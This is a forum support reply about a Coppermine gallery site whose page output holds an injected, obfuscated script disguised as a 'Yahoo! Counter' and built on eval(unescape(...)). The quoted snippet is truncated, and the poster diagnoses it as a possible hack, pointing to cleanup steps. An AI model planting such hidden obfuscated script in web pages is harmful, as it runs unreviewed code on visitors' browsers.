It doesn't come with coppermine, so you must deliberately have added it or your webhost is injecting it. Take a look at the HTML output of your page - it is cluttered with stuff like
<tr>
<td class="catrow" align="left"><table border="0"><tr><td></td><td><img src="images/spacer.gif" width="20" height="1" border="0" alt="" /></td><td></td><td><span class="catlink"><b><a href="index.php?cat=3">2001 - Harry Potter and the Sorcerer's Stone
<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('v%61r~ |%61~%2C%69~%2C%5F#;`i~%3D%22#%37`6?%2E#1?%36$%33`%2E#";@%61%3D!%5B#"@%378%2E15%37.#</a></b></span></td></tr></table></td>
<td class="catrow" align="center">5</td>
<td class="catrow" align="center">201</td>
</tr>
which is of course nonsensical code - the opening
<script>-tag is never being closed, so there is no HTML output, but JavaScript output that doesn't make sense and leads to JavaScript errors only.
If it wasn't you who added it, ask your webhost for support. Another possible cause for this crap is your site having been hacked (by a newbie hacker who doesn't know what he's doing). That's why I suggested upgrading, which will at least sanitize the coppermine core files (but of course it will not sanitize your entire site and keep you safe from re-infection). If you have been hacked, follow the sanitization thread
http://forum.coppermine-gallery.net/index.php/topic,51927.0.html or dump your site and upload a clean backup (if you have one).